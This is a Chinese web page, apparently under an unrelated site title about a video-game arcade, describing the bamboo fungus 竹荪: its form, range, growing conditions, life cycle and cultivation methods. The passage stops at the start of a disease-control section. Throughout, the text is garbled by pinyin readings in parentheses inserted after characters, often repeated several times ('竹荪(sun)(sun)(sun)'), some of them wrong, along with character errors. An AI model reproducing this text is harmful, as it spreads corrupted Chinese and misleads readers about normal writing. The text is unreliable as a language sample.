开心电玩城

  • 竹荪
  • 发布时间:2020-05-21

竹荪

1.jpg

竹荪(sun)(sun)(sun)(Dictyophora indusiata (Vent.ex Pers) Fisch)又(you)名(ming)竹笙、竹参,常见并可(ke)供(gong)食(shi)用的有(you)4种(zhong):长裙竹荪(sun)(sun)(sun)、短裙竹荪(sun)(sun)(sun)、棘(ji)托竹荪(sun)(sun)(sun)和红(hong)托竹荪(sun)(sun)(sun),是寄(ji)生在枯竹根(gen)部的一种(zhong)隐花(hua)菌(jun)(jun)类,形(xing)状略似网(wang)状干白蛇皮(pi),它有(you)深绿色的菌(jun)(jun)帽,雪(xue)白色的圆(yuan)柱状的菌(jun)(jun)柄,粉红(hong)色的蛋(dan)形(xing)菌(jun)(jun)托,在菌(jun)(jun)柄顶(ding)端有(you)一围细致洁白的网(wang)状裙从菌(jun)(jun)盖向下铺开(kai),被人(ren)们称(cheng)为“雪(xue)裙仙子”、“山珍(zhen)之(zhi)花(hua)”、“真菌(jun)(jun)之(zhi)花(hua)”、“菌(jun)(jun)中皇后”。竹荪(sun)(sun)(sun)营(ying)养丰富,香味浓郁,滋味鲜(xian)美,自(zi)古就列为“草八珍(zhen)”之(zhi)一。日(ri)前,国家质量监督检验检疫总局发布《2016年(nian)第112号(hao)公告》,批(pi)准长宁竹荪(sun)(sun)(sun)为国家地理标志保(bao)护(hu)产品,划定(ding)长宁县现辖行政区(qu)域(yu)为保(bao)护(hu)区(qu)域(yu),自(zi)即日(ri)起实施保(bao)护(hu)。

2.jpg

形态特征

竹荪幼(you)担子(zi)果菌蕾呈圆球(qiu)形(xing),具三(san)层(ceng)包(bao)被(bei),外包(bao)被(bei)薄,光(guang)滑(hua),灰白(bai)色(se)或淡褐(he)红(hong)色(se);中层(ceng)胶(jiao)质;内包(bao)被(bei)坚韧肉质。成熟时包(bao)被(bei)裂开,菌柄(bing)将(jiang)菌盖顶(ding)出,柄(bing)中空,高15~20cm,白(bai)色(se),外表由海绵状小孔组(zu)成;包(bao)被(bei)遗(yi)留于柄(bing)下部形(xing)成菌托;菌盖生于柄(bing)顶(ding)端呈钟(zhong)形(xing),盖表凹凸不平呈网格,凹部分(fen)密布担孢子(zi);盖下有(you)白(bai)色(se)网状菌幕,下垂如裙(qun),长达(da)8厘米以上(shang);孢子(zi)光(guang)滑(hua),透(tou)明,椭圆形(xing),3~3.5×1.5~2微(wei)米。

3.jpg

分布(bu)范围

  世(shi)界许多国(guo)家,例如日本、印度、斯里兰卡(ka)、印度尼西(xi)亚,菲律宾,朝鲜、美国(guo)、古巴(ba)、巴(ba)西(xi)、英国(guo)、法(fa)国(guo)、苏联,墨(mo)西(xi)哥(ge),澳大利亚、东(dong)非等(deng)都有竹荪(sun)分布(bu)(bu)。中(zhong)国(guo)分布(bu)(bu)范(fan)围也(ye)很广,黑龙江、吉林(lin),河北、陕(shan)西(xi)、江苏、浙江、安徽,湖南、湖北、江西(xi)、福建、四川、云(yun)南、贵州、西(xi)藏、广东(dong)、广西(xi)及台湾等(deng)省区都有采集(ji)到竹荪(sun)的报道,但各地(di)的竹荪(sun)品种不(bu)完(wan)全(quan)相同,其中(zhong)以西(xi)南各省分布(bu)(bu)较广,食(shi)用品种质量也(ye)较优。 国(guo)家质量监督检验检疫(yi)总(zong)局发(fa)布(bu)(bu)《2016年第112号公告》,批准(zhun)长宁竹荪(sun)为(wei)国(guo)家地(di)理标志保护(hu)产品,划定长宁县现(xian)辖行(xing)政区域为(wei)保护(hu)区域,自即日起(qi)实施保护(hu)。

  生长环境

  竹(zhu)荪(sun)基部菌(jun)索(suo)与竹(zhu)鞭和枯(ku)死(si)竹(zhu)根相(xiang)连,长(zhang)裙竹(zhu)荪(sun)多(duo)产于高(gao)温(wen)高(gao)湿地(di)区,而同属的短裙竹(zhu)荪(sun)则多(duo)长(zhang)在(zai)(zai)温(wen)湿环境。当(dang)孢子(zi)(zi)萌发形成菌(jun)丝,通过(guo)菌(jun)丝分解腐竹(zhu)类的有(you)机物质取得营养,进入(ru)生(sheng)(sheng)殖生(sheng)(sheng)长(zhang)阶段,菌(jun)丝体形成无数(shu)菌(jun)索(suo),在(zai)(zai)其前端(duan)膨(peng)大发育成纽结状原基,在(zai)(zai)适(shi)宜条件下(xia),经过(guo)一个(ge)多(duo)月(yue)生(sheng)(sheng)长(zhang),原基形成菌(jun)蕾,状如鸡蛋。当(dang)菌(jun)蕾顶端(duan)凸起如桃形时(shi),多(duo)在(zai)(zai)晴天的早晨由凸起部分开裂(lie),先露出菌(jun)盖,菌(jun)柄(bing)相(xiang)继延(yan)伸(shen),到中午柄(bing)长(zhang)到一定高(gao)度(du)时(shi)即(ji)停止伸(shen)长(zhang),菌(jun)裙渐(jian)渐(jian)由盖内向下(xia)展(zhan)开,空气(qi)相(xiang)对(dui)湿度(du)为95%时(shi),菌(jun)裙生(sheng)(sheng)长(zhang)正常(chang),温(wen)度(du)偏低和湿度(du)过(guo)小(xiao)时(shi)不(bu)能正常(chang)展(zhan)裙。下(xia)午4~5时(shi)菌(jun)盖上担孢子(zi)(zi)成熟并开始自(zi)溶(rong),滴向地(di)面,同时(shi)整个(ge)子(zi)(zi)实体萎缩(suo)倒下(xia)。

  营(ying)养

竹(zhu)荪(sun)为竹(zhu)林(lin)腐(fu)生(sheng)真菌,以分解死亡的竹(zhu)根、竹(zhu)竿和竹(zhu)叶等(deng)(deng)为营养源。野生(sheng)时多生(sheng)长于(yu)楠竹(zhu)、平竹(zhu)、苦(ku)竹(zhu)、慈(ci)竹(zhu)等(deng)(deng)竹(zhu)林(lin)里,其(qi)(qi)土(tu)(tu)质有黑色壤土(tu)(tu)、紫色土(tu)(tu)、黄泥土(tu)(tu)等(deng)(deng)。竹(zhu)荪(sun)营腐(fu)生(sheng)生(sheng)活,其(qi)(qi)菌丝能穿透(tou)许多微生(sheng)物(wu)的拮抗(kang)线(xian),能利(li)用(yong)许多微生(sheng)物(wu)不能利(li)用(yong)的纤维素、木(mu)质素。因此(ci),人工栽(zai)培时,可用(yong)竹(zhu)木(mu)屑及多种(zhong)农作物(wu)秸秆及少量无(wu)机盐等(deng)(deng),即可满(man)足(zu)其(qi)(qi)营养需(xu)求。

4.jpg

温(wen)度

  竹荪是典型的(de)(de)中温型菌类。菌丝的(de)(de)生(sheng)(sheng)(sheng)长温度(du)(du)为(wei)(wei)4~28℃,最(zui)适(shi)(shi)温度(du)(du)为(wei)(wei)20~23℃;低(di)于(yu)16℃或高于(yu)36℃,生(sheng)(sheng)(sheng)长缓(huan)慢(man)。子实(shi)体(ti)形成温度(du)(du)为(wei)(wei)17~29℃,以20~24℃为(wei)(wei)宜,最(zui)适(shi)(shi)温度(du)(du)为(wei)(wei)22℃;高于(yu)28℃,生(sheng)(sheng)(sheng)长缓(huan)慢(man),生(sheng)(sheng)(sheng)长势弱;35℃以上,停止(zhi)生(sheng)(sheng)(sheng)长;低(di)于(yu)15℃,发育减慢(man),菌球萎缩或出现(xian)畸形。这里所(suo)指的(de)(de)温度(du)(du),是菌丝和子实(shi)体(ti)生(sheng)(sheng)(sheng)长所(suo)处(chu)的(de)(de)环境温度(du)(du),即培养基所(suo)处(chu)的(de)(de)地(di)(di)下5~20厘米(mi)深和子实(shi)体(ti)分(fen)化的(de)(de)地(di)(di)下1~30厘米(mi)深的(de)(de)温度(du)(du)。因为(wei)(wei)同(tong)一时(shi)间地(di)(di)表(biao)(biao)和地(di)(di)下的(de)(de)温度(du)(du)有较大差异,一般情况下,地(di)(di)表(biao)(biao)的(de)(de)温度(du)(du)高于(yu)地(di)(di)下温度(du)(du),离(li)地(di)(di)表(biao)(biao)越深,温度(du)(du)越低(di)。栽培时(shi)要(yao)注意此点。

  湿度

  这里的湿(shi)度包(bao)括培(pei)养基含(han)水(shui)量(liang)、土(tu)壤(rang)含(han)水(shui)量(liang)及空(kong)气(qi)(qi)相对(dui)(dui)湿(shi)度3个(ge)方(fang)面。竹荪(sun)在生(sheng)长(zhang)过程中对(dui)(dui)湿(shi)度条(tiao)件要(yao)求(qiu)较高(gao)。菌(jun)丝生(sheng)长(zhang)阶(jie)段,要(yao)求(qiu)培(pei)养基含(han)水(shui)量(liang)达60%~70%,低(di)于50%,菌(jun)丝生(sheng)长(zhang)受阻,低(di)于30%,则(ze)休(xiu)眠或(huo)死亡。含(han)水(shui)量(liang)高(gao)、通气(qi)(qi)性差,都会(hui)抑制菌(jun)丝生(sheng)长(zhang)或(huo)使其(qi)窒(zhi)息死亡。子实体形成要(yao)求(qiu)空(kong)气(qi)(qi)相对(dui)(dui)湿(shi)度达85%~90%,土(tu)壤(rang)含(han)水(shui)量(liang)达20%左右;空(kong)气(qi)(qi)相对(dui)(dui)湿(shi)度低(di)于80%,生(sheng)长(zhang)缓慢或(huo)表面龟裂(lie),易(yi)产生(sheng)畸形菇(gu)。

  空气

  竹(zhu)荪属好(hao)气性真菌(jun)。无(wu)论(lun)是(shi)(shi)菌(jun)丝生(sheng)(sheng)长(zhang)还是(shi)(shi)竹(zhu)荪球形成及子实(shi)体(ti)生(sheng)(sheng)长(zhang)发(fa)育,都需(xu)要充足的(de)氧气。基质或土壤中氧气充足,菌(jun)丝生(sheng)(sheng)长(zhang)或子实(shi)体(ti)形成都较快。没有足够的(de)氧气,竹(zhu)荪就不能很好(hao)地生(sheng)(sheng)长(zhang)发(fa)育,菌(jun)丝生(sheng)(sheng)长(zhang)缓慢甚至(zhi)会(hui)死亡,子实(shi)体(ti)易产生(sheng)(sheng)畸形。

  光(guang)照(zhao)

  竹荪菌(jun)丝生(sheng)(sheng)长不(bu)需(xu)要光(guang)(guang)照,有(you)光(guang)(guang)照会(hui)延(yan)缓菌(jun)丝生(sheng)(sheng)长速度。原基发(fa)生(sheng)(sheng)和(he)子(zi)(zi)实体最后(hou)形成需(xu)要有(you)一定的散(san)射光(guang)(guang),以100~300勒克斯即可(ke)。光(guang)(guang)照太弱,影响(xiang)子(zi)(zi)实体分(fen)化;强(qiang)阳光(guang)(guang)直(zhi)射,则导(dao)致子(zi)(zi)实体生(sheng)(sheng)长受阻、萎(wei)缩。

  pH值

  竹荪喜偏(pian)酸性的生(sheng)活环境。菌(jun)丝生(sheng)长阶(jie)段(duan)要求培养料(liao)的pH值为5~6.0,pH值大于(yu)7.5,生(sheng)长受阻(zu)。子(zi)实体(ti)发(fa)育阶(jie)段(duan)pH值以(yi)4.6~5.5为宜。

  土壤

  这里主要指覆(fu)土(tu)(tu)(tu)(tu)。竹(zhu)荪(sun)(sun)在菌(jun)丝生(sheng)长阶段,没(mei)有土(tu)(tu)(tu)(tu)壤(rang)发育仍然良好,但(dan)到生(sheng)殖生(sheng)长阶段即竹(zhu)荪(sun)(sun)球分化阶段,没(mei)有土(tu)(tu)(tu)(tu)壤(rang),竹(zhu)荪(sun)(sun)球就无法形成(cheng),这可(ke)能与土(tu)(tu)(tu)(tu)壤(rang)的物理(li)作用(yong)(镇压与机(ji)械刺激(ji))和土(tu)(tu)(tu)(tu)壤(rang)中微(wei)生(sheng)物及微(wei)量元(yuan)素的作用(yong)有关。覆(fu)土(tu)(tu)(tu)(tu)后菌(jun)丝供氧不足,被迫向土(tu)(tu)(tu)(tu)层伸长,有利于形成(cheng)子实体(ti)。因(yin)此,覆(fu)土(tu)(tu)(tu)(tu)是竹(zhu)荪(sun)(sun)栽培中必不可(ke)少的重要条件之一。

  繁殖(zhi)特(te)征(zheng)

竹荪(sun)和其(qi)他担(dan)(dan)(dan)(dan)(dan)子(zi)菌(jun)(jun)(jun)一样,其(qi)生(sheng)(sheng)(sheng)(sheng)活史(shi)也是(shi)从担(dan)(dan)(dan)(dan)(dan)孢(bao)(bao)予萌(meng)发(fa)开始(shi),经(jing)过(guo)菌(jun)(jun)(jun)丝(si)生(sheng)(sheng)(sheng)(sheng)长(zhang)阶(jie)段(duan)和子(zi)实体(ti)发(fa)育阶(jie)段(duan),直至产(chan)生(sheng)(sheng)(sheng)(sheng)新(xin)的(de)(de)(de)(de)(de)担(dan)(dan)(dan)(dan)(dan)孢(bao)(bao)子(zi)为止。竹荪(sun)的(de)(de)(de)(de)(de)有性孢(bao)(bao)子(zi)——担(dan)(dan)(dan)(dan)(dan)孢(bao)(bao)子(zi),产(chan)生(sheng)(sheng)(sheng)(sheng)于菌(jun)(jun)(jun)盖外(wai)表面上的(de)(de)(de)(de)(de)产(chan)孢(bao)(bao)组(zu)织(zhi)(zhi)中(zhong)。当(dang)(dang)成(cheng)熟(shu)(shu)的(de)(de)(de)(de)(de)菇(gu)蕾(lei)包被(bei)破裂,菌(jun)(jun)(jun)盖伸(shen)出(chu)几个(ge)(ge)(ge)(ge)小(xiao)时(shi),菌(jun)(jun)(jun)柄生(sheng)(sheng)(sheng)(sheng)长(zhang)停止、菌(jun)(jun)(jun)裙全部(bu)下撤(che)之后,产(chan)孢(bao)(bao)组(zu)织(zhi)(zhi)自行消解,担(dan)(dan)(dan)(dan)(dan)孢(bao)(bao)子(zi)便释放出(chu)来(lai)。担(dan)(dan)(dan)(dan)(dan)孢(bao)(bao)子(zi)萌(meng)发(fa)产(chan)生(sheng)(sheng)(sheng)(sheng)初(chu)(chu)生(sheng)(sheng)(sheng)(sheng)菌(jun)(jun)(jun)丝(si)(单核(he)(he)菌(jun)(jun)(jun)丝(si)),初(chu)(chu)生(sheng)(sheng)(sheng)(sheng)菌(jun)(jun)(jun)丝(si)较纤细,两个(ge)(ge)(ge)(ge)带不(bu)同因子(zi)的(de)(de)(de)(de)(de)初(chu)(chu)生(sheng)(sheng)(sheng)(sheng)菌(jun)(jun)(jun)丝(si)互相结合,进行质配,形(xing)成(cheng)二级菌(jun)(jun)(jun)丝(si)(双(shuang)核(he)(he)菌(jun)(jun)(jun)丝(si))。双(shuang)核(he)(he)菌(jun)(jun)(jun)丝(si)较粗壮,生(sheng)(sheng)(sheng)(sheng)长(zhang)旺盛(sheng)、茂密。双(shuang)核(he)(he)菌(jun)(jun)(jun)丝(si)在(zai)基物中(zhong)不(bu)断繁殖,积(ji)累养(yang)分(fen),形(xing)成(cheng)菌(jun)(jun)(jun)丝(si)索,向土(tu)(tu)表层延(yan)伸(shen),部(bu)分(fen)到达土(tu)(tu)表的(de)(de)(de)(de)(de)菌(jun)(jun)(jun)丝(si)索先端膨大,成(cheng)为组(zu)织(zhi)(zhi)化(hua)、特殊化(hua)的(de)(de)(de)(de)(de)组(zu)织(zhi)(zhi),也即(ji)分(fen)化(hua)形(xing)成(cheng)原(yuan)基——幼小(xiao)菇(gu)蕾(lei)。菇(gu)蕾(lei)继续发(fa)育,形(xing)成(cheng)子(zi)实体(ti)。当(dang)(dang)子(zi)实体(ti)接近成(cheng)熟(shu)(shu),子(zi)实层顶端担(dan)(dan)(dan)(dan)(dan)子(zi)细胞中(zhong)的(de)(de)(de)(de)(de)二个(ge)(ge)(ge)(ge)细胞核(he)(he)进行核(he)(he)配,形(xing)成(cheng)一个(ge)(ge)(ge)(ge)二倍体(ti)的(de)(de)(de)(de)(de)合子(zi).合子(zi)经(jing)过(guo)细煦分(fen)裂.其(qi)中(zhong)有一次为减(jian)数分(fen)裂,染色体(ti)减(jian)半(ban),形(xing)成(cheng)单倍体(ti)子(zi)核(he)(he)。担(dan)(dan)(dan)(dan)(dan)子(zi)的(de)(de)(de)(de)(de)顶部(bu)和四周长(zhang)出(chu)小(xiao)梗,每个(ge)(ge)(ge)(ge)子(zi)核(he)(he)进入一个(ge)(ge)(ge)(ge)小(xiao)梗,在(zai)每个(ge)(ge)(ge)(ge)小(xiao)梗上端发(fa)育成(cheng)为一个(ge)(ge)(ge)(ge)担(dan)(dan)(dan)(dan)(dan)孢(bao)(bao)子(zi)。电镜扫描观察到短裙竹荪(sun)每个(ge)(ge)(ge)(ge)担(dan)(dan)(dan)(dan)(dan)子(zi)上长(zhang)出(chu)5—8个(ge)(ge)(ge)(ge)担(dan)(dan)(dan)(dan)(dan)孢(bao)(bao)子(zi)。每个(ge)(ge)(ge)(ge)竹荪(sun)子(zi)实体(ti)产(chan)生(sheng)(sheng)(sheng)(sheng)数以亿计的(de)(de)(de)(de)(de)担(dan)(dan)(dan)(dan)(dan)孢(bao)(bao)子(zi)。担(dan)(dan)(dan)(dan)(dan)孢(bao)(bao)子(zi)被(bei)雨水冲(chong)刷或由(you)昆虫(chong)、动物传播,在(zai)新(xin)的(de)(de)(de)(de)(de)环(huan)境(jing)下又萌(meng)发(fa)出(chu)新(xin)的(de)(de)(de)(de)(de)初(chu)(chu)生(sheng)(sheng)(sheng)(sheng)菌(jun)(jun)(jun)丝(si),往复(fu)循环(huan),这(zhei)就是(shi)初(chu)(chu)步观察到的(de)(de)(de)(de)(de)竹荪(sun)生(sheng)(sheng)(sheng)(sheng)活史(shi)。

5.jpg

繁(fan)殖方法

  菌种制备

  母种(zhong)培养基的配(pei)(pei)方及(ji)制(zhi)作(zuo)。①培养基的配(pei)(pei)方:蛋(dan)白(bai)栋1%,葡(pu)萄糖1%,琼(qiong)脂2%,水100毫升。pH值为(wei)(wei)5~6。②马铃薯(shu)25%,葡(pu)萄糖2%,琼(qiong)脂2%,水100毫升。pH值为(wei)(wei)5~6。培养基的制(zhi)作(zuo):按常(chang)规配(pei)(pei)制(zhi),装(zhuang)管、灭菌、制(zhi)成斜面。

  原种制备

  第1,碎竹片(pian)(1~2厘米(mi))65%,木屑15%,麸皮(pi)20%,加(jia)水(shui)至(zhi)培养(yang)料含水(shui)量为65%。第2,杂(za)屑75%,麸皮(pi)20%,糖1%,石(shi)膏1%,黄豆饼粉3%,加(jia)水(shui)调至(zhi)培养(yang)料含水(shui)量为60~65%。

  按常规制(zhi)种方法配料、装瓶、灭菌、接种和(he)培养。在18~23℃温度下,原种约(yue)培养60天(tian)长满(man)瓶,栽培种经40-50天(tian)长好。

  栽(zai)培技术(shu)

  竹荪在气温(wen)7℃以(yi)(yi)上(shang)即可栽培,以(yi)(yi)10~12月(yue)份栽培为宜。

  室(shi)内(nei)箱栽

  用(yong)废木(mu)箱(xiang)作栽培(pei)(pei)容器(qi)。在箱(xiang)底先铺5~10厘(li)米(mi)厚的腐(fu)殖质土,其上(shang)(shang)铺竹段(duan)、木(mu)段(duan)或其它代(dai)料(liao),于料(liao)上(shang)(shang)接入竹荪栽培(pei)(pei)种。每平方米(mi)用(yong)3瓶菌(jun)(jun)种,最后覆盖肥(fei)土5~8厘(li)米(mi),浇透水,在室温(wen)下培(pei)(pei)养发(fa)菌(jun)(jun)。常洒水,保持湿(shi)润(run)。在温(wen)、湿(shi)度适宜条(tiao)件(jian)下,4~5个月(yue)菌(jun)(jun)丝可长满(man)培(pei)(pei)养料(liao)。当气温(wen)达20~24℃时(shi),便在表土内(nei)形成菌(jun)(jun)蕾。此时(shi),室内(nei)空(kong)气相对湿(shi)度应(ying)保持在85%以(yi)上(shang)(shang)。当菌(jun)(jun)球钻出表土后,空(kong)气相对湿(shi)度要(yao)提高到95%以(yi)上(shang)(shang)。

  床畦栽培(pei)

  选择背风阴凉场地,挖深10~15厘米(mi),宽100厘米(mi),长度不限(xian)的床畦(qi)。畦(qi)底(di)留10厘米(mi)松土,先铺(pu)一层(ceng)竹(zhu)片或段木(干(gan)竹(zhu)片需洗浸(jin)泡8~12小时(shi),晾干(gan)表(biao)面(mian)水分),在竹(zhu)片或段木上(shang)(shang)播1层(ceng)菌种,撒1层(ceng)干(gan)竹(zhu)叶,最(zui)上(shang)(shang)部覆盖肥土10厘米(mi)。若遮荫条件差,应在床畦(qi)上(shang)(shang)搭荫棚。经常(chang)洒(sa)水保持表(biao)土湿润。从接种到采收(shou)经10-12个月。

  此外(wai),还有菌(jun)种压(ya)块(kuai)栽培(pei)方法(fa)、塑料袋(dai)直接栽培(pei)法(fa)等。

  管理

  (1)水分(fen)管理是栽培成败的关键。菌丝(si)体生长阶段(duan)土(tu)壤(rang)湿(shi)度应保持65~70%,湿(shi)度过大过小都不利。若土(tu)壤(rang)过干,可喷(pen)细水,但不可使泥(ni)土(tu)上(shang)积水。

  (2)各(ge)生长阶段的(de)管理(li)。菌蕾生长阶段,温度最好控(kong)制在(zai)20~23℃,空(kong)气相对湿(shi)度在(zai)70~75%;子实体生长阶段空(kong)气相对湿(shi)度提高到90~95%,可(ke)每天喷(pen)水3~4次(ci);每天开窗(chuang)通气1~2次(ci),每次(ci)30分钟。

  (3)室外床(chuang)畦栽培的管理(li)。严(yan)防人、畜践踏。在发(fa)菌过程(cheng)中,平时不(bu)要挖开检(jian)查(cha),以(yi)免弄断菌丝。

  (4)及(ji)时(shi)补土(tu)。若埋的段木(mu)露出(chu)土(tu)表,应及(ji)时(shi)补土(tu)覆(fu)盖。

  坑式栽培

  栽培(pei)林地(di)

  栽(zai)培竹荪的(de)(de)林(lin)(lin)地应(ying)选择管(guan)理方(fang)便、坡度(du)平(ping)缓、背北(bei)风、有水源、土(tu)(tu)(tu)壤(rang)肥沃湿润且排(pai)水良好、土(tu)(tu)(tu)质为沙壤(rang)土(tu)(tu)(tu)的(de)(de)毛竹林(lin)(lin)或(huo)竹阔混交林(lin)(lin)地,林(lin)(lin)分郁闭度(du)为0.8~0.9,最好是小溪流的(de)(de)山谷地段。

  开设(she)栽培(pei)坑(keng)

  在(zai)选好的(de)林(lin)地内(nei),按(an)水平(ping)带开设长2米(mi)、宽1米(mi)、深(shen)20厘米(mi)的(de)栽培坑,并(bing)填入(ru)肥沃(wo)表(biao)土,厚约5厘米(mi)。四周开挖排水沟,以免积水。

  培(pei)养料处理

  处理方法(fa)有生料(liao)法(fa)、煮(zhu)料(liao)法(fa)和(he)发酵法(fa)等(deng)(deng)。现仅介绍发酵法(fa)。竹(zhu)(zhu)(zhu)荪培(pei)养(yang)料(liao)主要是(shi)干枯的(de)竹(zhu)(zhu)(zhu)竿(gan)、竹(zhu)(zhu)(zhu)枝、竹(zhu)(zhu)(zhu)鞭、竹(zhu)(zhu)(zhu)叶等(deng)(deng)竹(zhu)(zhu)(zhu)料(liao),将其截成长3~5厘(li)米、宽1~1.5厘(li)米的(de)小块(kuai)(竹(zhu)(zhu)(zhu)叶截成2~3厘(li)米的(de)小片或粉碎(sui)均可(ke))。

  培(pei)养料(liao)的(de)(de)配方为:竹(zhu)(zhu)片(pian)77%、竹(zhu)(zhu)叶(ye)20%、过磷酸钙(gai)(gai)1%、石(shi)(shi)(shi)膏(gao)粉1%、尿素0.5%、石(shi)(shi)(shi)灰0.5%。先将竹(zhu)(zhu)片(pian)和(he)竹(zhu)(zhu)叶(ye)用(yong)(yong)澄清的(de)(de)石(shi)(shi)(shi)灰水(shui)预湿(shi)(shi)至湿(shi)(shi)度(du)(du)(du)约(yue)60%~65%,加(jia)入(ru)尿素后堆放。料(liao)堆中层(ceng)(ceng)温(wen)度(du)(du)(du)将上升(sheng)至60℃以上,待温(wen)度(du)(du)(du)下(xia)降(jiang)至30℃时,进行第(di)一(yi)次(ci)翻堆,此阶段(duan)约(yue)需7天(tian)时间;随(sui)后加(jia)入(ru)石(shi)(shi)(shi)膏(gao)粉总量的(de)(de)50%,补足(zu)水(shui)分(fen)至湿(shi)(shi)度(du)(du)(du)65%,又经过6天(tian)后,再进行第(di)二次(ci)翻堆;加(jia)入(ru)剩下(xia)的(de)(de)50%石(shi)(shi)(shi)膏(gao)粉,调整(zheng)(zheng)湿(shi)(shi)度(du)(du)(du)至65%,再过5天(tian),进行第(di)三次(ci)翻堆;加(jia)入(ru)过磷酸钙(gai)(gai)并喷入(ru)锌硫(liu)磷杀虫剂(ji)500倍(bei)液,调整(zheng)(zheng)湿(shi)(shi)度(du)(du)(du)至60%~65%,约(yue)相(xiang)隔4天(tian)后,进行第(di)四次(ci)翻堆,再调整(zheng)(zheng)湿(shi)(shi)度(du)(du)(du)至55%~60%。每次(ci)翻堆均(jun)应在堆中心温(wen)度(du)(du)(du)下(xia)降(jiang)时进行,并将表(biao)面干(gan)燥层(ceng)(ceng)翻至中层(ceng)(ceng),把(ba)中层(ceng)(ceng)翻至外层(ceng)(ceng)。发酵(jiao)结束时,料(liao)呈咖(ka)啡色,略(lve)有氨气(qi)味(wei),无霉变,竹(zhu)(zhu)片(pian)变脆(cui)易(yi)折断。栽培(pei)接种(zhong)时,另加(jia)占堆料(liao)总重(zhong)量1%的(de)(de)蔗糖水(shui)。此法适用(yong)(yong)于批量栽培(pei)竹(zhu)(zhu)荪(sun),效果较好(hao)。

  接种

  栽(zai)(zai)培(pei)竹(zhu)荪(sun)选择菌(jun)种是关键。长裙(qun)竹(zhu)荪(sun)、短裙(qun)竹(zhu)荪(sun)品(pin)质好,市场价格高,但(dan)人工栽(zai)(zai)培(pei)较难(nan)掌握(wo);而(er)红(hong)托竹(zhu)荪(sun)栽(zai)(zai)培(pei)简单(dan),产(chan)量也(ye)高,但(dan)品(pin)质差,售价低。在生产(chan)中应选择适(shi)合当地(di)栽(zai)(zai)培(pei)的优良(liang)(liang)菌(jun)种和优良(liang)(liang)菌(jun)株。

  由于竹(zhu)(zhu)(zhu)荪(sun)菌(jun)丝体(ti)生长对温度、湿度要求(qiu)较严,栽培接(jie)种(zhong)时间一(yi)(yi)般以4~5月份及(ji)10~11月份为(wei)(wei)宜(yi)。接(jie)种(zhong)应选择阴(yin)天(tian)或没(mei)有阳光(guang)直射的(de)(de)时日进(jin)行。接(jie)种(zhong)前一(yi)(yi)周,先用50%的(de)(de)多菌(jun)灵(ling)1000倍(bei)药(yao)液或700倍(bei)锌硫磷(lin)药(yao)液进(jin)行栽培坑(keng)(keng)内(nei)(nei)土壤消毒。然(ran)后将处理好的(de)(de)竹(zhu)(zhu)(zhu)片铺(pu)于坑(keng)(keng)内(nei)(nei),厚约4~5厘(li)米(mi),再在上(shang)(shang)面铺(pu)经过(guo)处理的(de)(de)竹(zhu)(zhu)(zhu)叶(ye)厚2~3厘(li)米(mi)。在竹(zhu)(zhu)(zhu)叶(ye)上(shang)(shang)按横(heng)向间距(ju)(ju)10厘(li)米(mi)、纵(zong)向间距(ju)(ju)12厘(li)米(mi)梅花形点(dian)播竹(zhu)(zhu)(zhu)荪(sun)栽培菌(jun)种(zhong)。再铺(pu)上(shang)(shang)一(yi)(yi)层厚为(wei)(wei)4~5厘(li)米(mi)的(de)(de)竹(zhu)(zhu)(zhu)片,竹(zhu)(zhu)(zhu)片上(shang)(shang)覆(fu)盖一(yi)(yi)层2~3厘(li)米(mi)厚竹(zhu)(zhu)(zhu)叶(ye),然(ran)后又按横(heng)向间距(ju)(ju)6厘(li)米(mi)、纵(zong)向间距(ju)(ju)8厘(li)米(mi)点(dian)播菌(jun)种(zhong),最后在菌(jun)种(zhong)上(shang)(shang)层覆(fu)盖一(yi)(yi)层竹(zhu)(zhu)(zhu)叶(ye),厚度以盖住菌(jun)种(zhong)为(wei)(wei)准,并(bing)轻轻压紧,使菌(jun)种(zhong)和(he)(he)培养料(liao)紧密接(jie)触。菌(jun)种(zhong)用量(liang)为(wei)(wei)每平方米(mi)24瓶,其(qi)中面层用量(liang)为(wei)(wei)70%,底层用量(liang)为(wei)(wei)30%。当(dang)天(tian)取(qu)出的(de)(de)菌(jun)种(zhong)和(he)(he)培养料(liao),必须当(dang)天(tian)接(jie)种(zhong)完毕。

  覆土与搭棚

  接种后(hou)(hou),待菌丝长满培养料面(mian)层(ceng)(ceng)后(hou)(hou),需覆盖一(yi)(yi)层(ceng)(ceng)厚(hou)约(yue)2~4厘米(mi)的经太阳曝(pu)晒(shai)过的肥沃(wo)细(xi)土,土面(mian)上再盖一(yi)(yi)层(ceng)(ceng)厚(hou)约(yue)2厘米(mi)的竹(zhu)叶(ye),以保持良好(hao)的通(tong)气性和适宜(yi)湿度。覆土后(hou)(hou),要立即搭拱(gong)形(xing)塑料棚,棚高(gao)50厘米(mi)左(zuo)右(you)。郁(yu)闭度不(bu)到0.8的竹(zhu)林,还应在塑料棚上搭遮荫(yin)棚,棚高(gao)80~100厘米(mi)。

  注意(yi)事(shi)项

  在菌丝生长阶段(duan)主要(yao)(yao)是保(bao)(bao)温保(bao)(bao)湿(shi)(shi)。菌丝生长最适温度为24℃,高于(yu)33℃或低(di)于(yu)12℃,就停止生长。当(dang)天气(qi)干旱时(shi)(shi),要(yao)(yao)适当(dang)喷(pen)(pen)(pen)水,喷(pen)(pen)(pen)水时(shi)(shi)避(bi)(bi)免直喷(pen)(pen)(pen)土(tu)(tu)(tu)壤(rang),以免造成(cheng)土(tu)(tu)(tu)壤(rang)板(ban)结,土(tu)(tu)(tu)壤(rang)含水量应(ying)保(bao)(bao)持在20%左右(you)。当(dang)塑料棚(peng)内温度超过26℃时(shi)(shi),应(ying)揭开薄(bo)膜降温,中午要(yao)(yao)揭开塑料棚(peng)四角(jiao),使其通风换气(qi)。成(cheng)蕾阶段(duan)的管理,主要(yao)(yao)是避(bi)(bi)免阳光直射(she),保(bao)(bao)温和防(fang)虫(chong)、防(fang)病。子(zi)实(shi)体发育阶段(duan)较适温度为17~25℃,低(di)于(yu)8℃或高于(yu)30℃时(shi)(shi)就会出(chu)现死菇(gu)(gu)。出(chu)菇(gu)(gu)期每天上午8时(shi)(shi),必须进行换气(qi)和及时(shi)(shi)收菇(gu)(gu);湿(shi)(shi)度低(di)时(shi)(shi),应(ying)在早上或傍晚及时(shi)(shi)喷(pen)(pen)(pen)水,喷(pen)(pen)(pen)头要(yao)(yao)远离菇(gu)(gu)床,避(bi)(bi)免伤害小蕾。

  病(bing)害(hai)防治

  竹荪(sun)病(bing)虫害防治(zhi)应从环(huan)境因子着手,以预防为(wei)主(zhu),采(cai)取(qu)综合(he)措(cuo)施进行防治(zhi)。

  (一)清(qing)除杂菌

